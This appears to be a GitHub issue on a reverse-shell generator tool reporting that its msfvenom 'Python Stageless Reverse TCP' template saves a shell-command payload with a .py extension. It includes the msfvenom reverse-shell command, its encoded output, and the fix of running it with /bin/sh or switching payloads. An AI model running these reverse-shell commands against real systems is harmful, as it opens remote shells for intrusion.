reverse-shell-generator icon indicating copy to clipboard operation
reverse-shell-generator copied to clipboard

msfvenon / Python Stageless Reverse TCP output file extension error

Open Vu0r1-sec opened this issue 3 years ago • 0 comments

For msfvenom, the command for "Python Stageless Reverse TCP" is : "command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw -o shell.py", this commande make a "shell.py" but cmd/unix/... is design for generate shell commands

└─# msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.py 
Saved as: shell.py

└─# cat shell.py
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1w[...]Ip')[0]))"

at execution time as a python script : error

└─$ python shell.py
  File "/home/test/shell.py", line 1
    python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1w[...]Ip')[0]))"
SyntaxError: invalid syntax

at execution time as bash script : well

└─$ /bin/sh shell.py

2 possibles solutions :

  • change the payload to python/shell_reverse_tcp
  • change the output file name to shell.sh

PS : Thank you very much for this great app

Vu0r1-sec avatar Sep 02 '22 10:09 Vu0r1-sec